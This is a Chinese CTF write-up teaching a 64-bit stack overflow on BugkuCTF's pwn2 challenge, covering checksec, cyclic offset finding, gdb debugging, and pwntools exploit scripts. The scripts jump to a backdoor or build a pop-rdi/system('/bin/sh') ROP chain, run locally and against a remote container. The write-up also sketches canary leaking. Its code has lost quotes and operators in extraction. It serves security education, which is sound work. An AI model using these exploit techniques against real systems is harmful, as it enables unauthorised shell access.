栈溢出入门实战:从零到getshell的PWN经典题解析
PWN入门绕不开的一道题就是栈溢出。不夸张地说理解了栈溢出的利用过程你才算真正踏进了二进制安全的大门。BugkuCTF的pwn2-overflow就是那种“你迟早会刷到、刷完一定会学到东西”的经典入门题。它不玩花活没有堆利用、没有格式化字符串就是干干净净地考你一个点缓冲区溢出之后程序的控制流到底怎么被你改到手里的。我见过很多人卡在栈溢出这道坎上不是看不懂exp而是不知道每句代码在干什么、偏移量怎么算出来的、为什么本地能打通远程却不行。这篇文章我会用最直接的方式把整个流程拆开揉碎讲一遍从信息收集到gdb调试从本地复现到远程getshell力求让一个零基础看PWN的读者也能照着做下来。顺便说一句现在的CTF平台基本都是动态容器下发比如Bugku、BUUCTF这一类你拿到的附件和远程环境可能有细微差别所以先学会本地分析再考虑远程打这才是正确顺序。1. 拿到题目后先别急着写payload基础信息收集很多新手习惯打开题目就直接去IDA里盯着main函数看甚至跳过file和checksec直接开始猜偏移。这个习惯不太好因为利用方式完全取决于防护机制你不先看防护后面怎么死都不知道。我在本地复现的时候固定四步file看文件类型checksec看防护strings看敏感字符串objdump看反汇编。这套流程走完题目大概什么情况心里就有数了。1.1 工具准备与运行环境做PWN题我一般用一台Ubuntu虚拟机版本20.04或者22.04都行。Windows上也能用WSL2跑但涉及gdb调试和核心转储的时候原生的Linux环境会省心很多。需要装的工具其实就几样gdb、python3、pwntools再加一个gdb插件pwndbg或者peda都可以我个人习惯用pwndbg因为输出信息更全。sudo apt update sudo apt install -y vim gdb git python3 python3-pip file binutils pip3 install --upgrade pwntools ROPgadget git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装完以后验证一下环境python3 -c from pwn import *; print(ok)不报错就没问题了。pwndbg的setup脚本会自动往~/.gdbinit里写配置以后启动gdb就能看到彩虹色的界面。1.2 file、checksec、strings三条命令先把题目底裤看光拿到题目附件后第一步永远是file。这个命令会告诉你目标是什么格式的二进制多少位的动态链接还是静态链接。file pwn2输出一般是ELF 64-bit LSB executable, x86-64说明这是64位程序。64位和32位在利用上有不少区别比如参数传递规则不同栈对齐要求不同后面会提到。接下来是重头戏checksec。这个命令不用单独安装pwntools里带了直接执行checksec --filepwn2你会看到类似这样的输出Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这几行字直接决定了你后面用什么打法。Stack项是No canary found说明没有栈金丝雀保护这基本就是开门迎客NX enabled说明栈不可执行所以别想着往栈里塞shellcode然后跳过去执行老老实实走ROP或者跳转已有函数PIE关闭说明程序加载基址固定所有函数地址都是死的直接写在payload里就行。最后再用strings扫一眼程序里有哪些字符串strings pwn2 | grep -iE flag|/bin/sh|system|Input如果能看到/bin/sh或者flag这种关键词后面利用就省事很多。如果还有Input:这样的输出提示那就是你交互时判断接收时机的锚点。1.3 从反汇编里定位漏洞函数接下来用objdump看反汇编objdump -d -M intel pwn2 | less重点找main函数。pwn2这道题的反汇编很短一眼能看到main里大致是开了缓冲区然后用read或者gets读取输入。我见过很多版本的pwn2代码结构大体差不多0000000000401176 main: ... 401196: lea rax,[rbp-0x20] 40119a: mov edx,0x60 40119f: mov rsi,rax 4011a2: mov edi,0x0 4011a7: call 401050 readplt ...看到lea rax, [rbp-0x20]说明局部缓冲区离栈底rbp只有0x20字节而read一次读入0x60字节。读到缓冲区里但缓冲区只有0x20大小多出来的0x40字节自然就会一路往上覆盖直到碰到返回地址。这就是经典的栈溢出点。2. 栈溢出的核心原理为什么一次read能让你劫持程序很多讲栈溢出的文章会直接丢给你一个偏移量40然后让你抄payload。偏移量怎么来的为什么是40不是20不把这个搞明白换一道题换个缓冲区大小就废了。2.1 函数栈帧布局复习x64下一个函数被调用时栈上的布局大致是这样从高地址到低地址主调函数继续执行要用的返回地址被调函数的old rbp保存的上一帧栈底被调函数的局部变量区域程序在main里执行call read之前栈顶是read的返回地址read执行完返回后会回到main继续执行。而main自己的栈帧里局部变量buf在rbp-0x20的位置old rbp在rbp的位置返回地址在rbp8的位置。所以从buf首地址开始要覆盖到返回地址需要经过从 buf 到 rbp0x20 字节 rbp 本身8 字节 合计0x28 40 字节这40个字节前32个填什么无所谓接着8个字节会把old rbp覆盖掉再接下来8个字节就是返回地址。你把这8个字节写成你想跳转的地址函数执行到leave; ret的时候CPU就会从栈上弹出这个地址把它赋给rip程序就跳到你的地盘了。2.2 溢出点判定与偏移量计算如果你不想人肉算偏移有更保险的动态方法用cyclic生成一段有规律的字符串发送过去程序崩溃后看rip寄存器的值再反查它在模式字符串中的位置就是偏移量。pwntools里可以一条龙完成from pwn import * io process(./pwn2) io.recvuntil(bInput:) io.sendline(cyclic(200)) io.wait() core io.corefile rip core.rip print(hex(rip)) print(cyclic_find(rip))如果没有生成corefile也可以用gdb手动跑gdb ./pwn2 run (python3 -c import sys; sys.stdout.write(cyclic(200)))程序崩溃后pwndbg界面会直接显示RIP被哪个字符序列覆盖把那个值取出来cyclic -l value就能得到具体偏移。无论如何这道题的偏移量都是40但你自己走一遍这个流程以后再遇到其他题目就不慌了。2.3 这道题的“水位线”到底要写多少字节才够到返回地址基于1.3里的反汇编buf在rbp-0x20返回地址需要偏移40个字节。read读入0x60字节也就是96字节足够你放40个填充字节加一个8字节返回地址甚至还能再塞点ROP链。这就像你往一个水杯里倒水水位超过杯口之后会顺着杯壁往下流最后流到哪取决于你杯子放在哪个架子上。这里的“架子”就是返回地址的位置。3. 一次完整的本地利用从构造payload到拿到shell思路理清楚写exp就是水到渠成的事。pwn2有多个流传版本一种是程序里自带后门函数直接跳过去就能读flag另一种是只有system和/bin/sh需要自己用ROP构造调用。我把两种情况都讲一遍你对照自己的题目选。3.1 直接跳后门函数最短payload用IDA或者objdump浏览函数列表如果你发现类似get_flag、backdoor、system这种函数反汇编里还有call system或者直接输出flag的代码那就太简单了。找到函数首地址比如0x4011d6payload只需要这么写from pwn import * io process(./pwn2) io.recvuntil(bInput:) payload bA * 40 payload p64(0x4011d6) io.sendline(payload) io.interactive()40个A把缓冲区、old rbp全部填满紧跟其后的就是返回地址被改成后门函数的地址。p64()把整数打包成8字节小端序这是x64下地址写入内存的标准格式。3.2 没有后门就自己搭用ROP调system很多版本的pwn2并没有现成后门但程序可能调用了system函数或者你能在plt表里找到system。这种情况下目标就从“跳转”变成了“调用system(/bin/sh)”。x64程序函数调用时第一个参数放在rdi寄存器里。所以你要先把/bin/sh字符串的地址放进rdi然后跳转到system。怎么控制寄存器用gadget。找一个pop rdi; ret这样的指令片段它从栈上弹出一个值放进rdi然后ret跳到栈里下一条地址。找gadget用ROPgadgetROPgadget --binary pwn2 --only pop|ret | grep pop rdi输出类似0x4011d6 : pop rdi ; ret再找/bin/sh字符串的地址from pwn import * elf ELF(./pwn2) binsh_addr next(elf.search(b/bin/sh)) print(hex(binsh_addr))如果二进制里没有这个字符串也可以试着自己写进内存但入门阶段一般都有。最终expfrom pwn import * context.arch amd64 context.log_level debug elf ELF(./pwn2) system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh)) pop_rdi 0x4011d6 # ROPgadget查出来的地址记得换成你自己题目的 offset 40 io process(./pwn2) io.recvuntil(bInput:) payload bA * offset payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr) io.sendline(payload) io.interactive()payload执行流程是这样的main返回时RIP跳到pop rdi; ret这条指令把栈顶的binsh_addr弹进rdi然后retret再把栈顶的system_addr弹出来CPU跳到systemsystem拿到rdi里的字符串地址作为参数执行/bin/sh3.3 栈对齐这件事新手最容易翻车本地测试的时候你可能会遇到一种诡异情况明明地址全对参数也对程序却段错误。这个问题十有八九出在栈对齐上。System V AMD64 ABI规定在call指令执行之前栈必须保持16字节对齐。但我们是直接通过ret跳进system的并没有执行call指令所以栈的状态和正常调用不同。某些glibc函数内部用到了movaps这类要求对齐的指令一旦碰上不对齐的栈直接SIGSEGV。解决办法很朴素在调用system之前多垫一条ret指令把栈指针额外挪8字节。加一个ret gadget的payloadret 0x40101a # 随便一条ret指令的地址用ROPgadget也能查到 payload bA * offset payload p64(ret) # 调整栈对齐 payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr)如果第一次直接打段错误加上这个ret一般就通了。这算是x64下调用system的经典坑做pwn题迟早会遇到提前知道能省不少排查时间。3.4 完整exp脚本与运行测试把上面内容汇总成一份完整脚本方便本地复现from pwn import * context.arch amd64 context.log_level info elf ELF(./pwn2) system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh)) pop_rdi 0x4011d6 ret 0x40101a offset 40 io process(./pwn2) io.recvuntil(bInput:, timeout5) payload bA * offset payload p64(ret) payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr) io.sendline(payload) io.sendline(bcat flag) io.interactive()本地如果能正常回显flag内容说明利用成功。我实际操作中习惯在拿到shell后再主动执行一条cat flag因为有些远程环境拿到shell后不会自动帮你输出flag需要自己敲命令。4. 动态调试用gdb看清楚溢出那一下发生了什么很多新手刷题只满足于exp能跑通从不打开gdb。但我建议你无论如何都要花十分钟调试一次亲眼看到RIP被覆盖的过程。只有亲眼看到了栈溢出的原理才真正长在你脑子里。4.1 装一个趁手的gdb插件裸gdb能看但很不直观。pwndbg或者gef装上以后每个断点停住时栈上有什么、寄存器里是什么、下一步要执行什么全都展示得清清楚楚。如果你还没有插件回到1.1节把pwndbg装上然后启动gdb ./pwn24.2 断在read之后的视角栈上数据如何排列在main函数里read调用结束后的下一条指令处下断点。你先用disassemble main查看偏移找到read下面那条add rsp, 0x10或者leave指令。比如b *main0x52 r (python3 -c import sys; sys.stdout.write(A*40 BBBBBBBB))程序停在断点上栈顶附近的数据布局可以在pwndbg里用栈窗口直接看到。你会很清楚地看到偏移0x00到0x1f是A0x20到0x27被覆盖成了A0x28到0x2f就是那8个B。而这个位置正好就是main函数的返回地址所在处。这就是为什么要填40个字节第41到48个字节是返回地址的地盘。4.3 核心验证观察RIP被我们控制把输入换成真正的pwn2利用payload然后单步到ret指令。pwndbg里输入ni你会发现CPU跳到了你指定的地址。如果跳的是system注意看rdi寄存器里面是不是/bin/sh字符串的地址。这里验证一下比自己盲打脚本成功一百次都有用。这个调试过程其实不复杂核心就是验证两件事偏移对不对RIP落点对不对。只要这两点确认了整道题的利用逻辑就已经闭环。5. 从本地到远程在BugkuCTF动态容器里getshell本地打通过还差最后一步远程漏洞利用。CTF平台现在已经普遍使用动态容器了你提交题目后会给你分配一个临时IP和端口容器有效时间一般有限比如10分钟到30分钟不等超时就销毁需要重新启动。5.1 远程环境与本地环境的差异远程环境和你本地的Ubuntu不可能是同一套最常见的差异是libc版本不同。但幸好pwn2这类入门题用的是systemplt和二进制里自带的/bin/sh字符串这些地址不依赖libc所以远程和本地通吃。如果你的exp里直接用了libc里的system地址那就必须先把远程的libc搞到手还要算好函数偏移那是ret2libc的内容了。另外远程容器的文件路径和本地可能不一样flag文件的位置也不一定在根目录。拿了shell以后先ls和find / -name flag*找一找不要傻傻只执行一个cat flag。5.2 远程连接脚本与交互细节把exp里的process换成remote即可from pwn import * context.arch amd64 context.log_level info elf ELF(./pwn2) system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh)) pop_rdi 0x4011d6 ret 0x40101a offset 40 io remote(你的平台IP, 端口) io.recvuntil(bInput:, timeout10) payload bA * offset payload p64(ret) payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr) io.sendline(payload) io.sendline(bcat flag) io.interactive()唯一要注意的是有些平台输出可能带有颜色控制符或者额外提示符recvuntil(bInput:)收不到就会一直卡住。遇到这种情况可以先用io.recvall(timeout2)看看实际输出内容再决定匹配什么字符串。也可以在pwntools里加context.log_level debug打开以后收发数据都会打出来排查交互问题一目了然。5.3 动态容器使用中的几个坑第一容器地址不是你本地程序的地址每次启动可能变化exp里记得改。第二有些平台容器只开放一个端口所有选手共用你测试的太频繁可能会被限速。第三提交flag的时候注意区分大小写和格式CTF平台一般要求flag{...}完整提交。这几个都是实战里最容易耽误时间的小问题。6. 常见问题与排查技巧实录最后这部分是我最想写的。栈溢出入门题翻来覆去就那几个坑我把日常被问最多的问题汇总成一张速查表再补充一些调试心得。6.1 问题速查表现象可能原因排查方向checksec没有输出checksec命令没装用pwn checksec --filepwn2替代发送payload后本地段错误栈未对齐在payload里多加一条ret gadget本地能打通远程打不通system地址依赖libc或环境不同用plt地址检查远程程序保护是否和本地一致拿不到shell只是回显乱码返回地址写错跳进了无效区域gdb调试确认RIP落点脚本卡在recvuntil输出字符串匹配不上打开debug日志看实际输出偏移量不确定手算容易漏看栈结构用cyclic动态计算偏移发送的地址被截断地址里包含0x0a等特殊字符优先用read类输入避免gets必要时用send而非sendlinesystem调用崩溃参数没传对或栈不对齐检查rdi是否指向/bin/sh检查对齐6.2 偏移量算错时的自我怀疑与排查流程如果你按40字节写好payload程序却没按预期跳转不要急着改数字瞎试。正确的排查方法是回到最原始的一步用cyclic重新测一次偏移。流程很简单生成cyclic(200)发送并等崩溃看RIP的值cyclic -l rip值得到真实偏移用真实偏移替换payload里的数字这个过程耗时不超过两分钟但很多新手就是跳过了它靠肉眼猜。PWN调试不怕慢就怕猜。6.3 关于Canary和Stack Smashing的延伸讨论你可能会想pwn2如果开了canary怎么办实际上在某些平台或变种题里确实有开了canary的版本。这类题一般有两条思路一条是泄漏canary。如果程序里存在格式化字符串漏洞或者越界读先把canary值读出来然后在payload里原样填回去这样既可以绕过检查又不影响覆盖返回地址。canary的最后一个字节固定是0x00这是为了截断字符串读入泄漏的时候看到??结尾就可以判断位置。另一条是Stack Smashing思路。程序开启canary后如果我们在返回前破坏了canary程序会调用__stack_chk_fail继而打印堆栈信息。某些特定版本的题目里你可以通过覆盖argv[0]来让错误信息输出可控制的内容甚至配合GOT表劫持来达到getshell的效果。这类技巧在CTF里属于进阶话题入门阶段你先会识别“这题开了canary所以简单栈溢出不行”就已经达到目的了。6.4 我的一些个人习惯和心得我做这类入门题的时候有几个固定习惯。一是每次拿到题目先checksec不管这题看起来多简单。这个习惯能在比赛里帮你节省大量时间因为出题人很可能在一个简单的题目里偷偷开启某个保护你的旧exp就直接失效了。二是每道题都留一个做题笔记记录checksec输出、偏移量、用的gadget地址、libc版本。遇到同类型的题翻笔记比重新分析快得多。PWN题目花样再多底层套路就那么多笔记积累得多了解题速度自然就上来了。三是如果exp第一次失败我绝不会原地打转而是马上开gdb重新断点、重新验证偏移。调试器是PWN选手最值得信任的朋友与其在聊天群里问十句不如自己看一遍寄存器来的踏实。最后再分享一个小技巧拿到shell之后如果发现是/bin/sh尽量先跑一句echo test看看命令是否有回显有些环境的输入输出管道有点特殊直接跑cat可能看不出结果。这道pwn2刷完之后你可以接着尝试BUUCTF里其他类似的overflow题目把偏移计算和ROP调用流程练到肌肉记忆。到了那个阶段栈溢出的地基就算是彻底打牢了。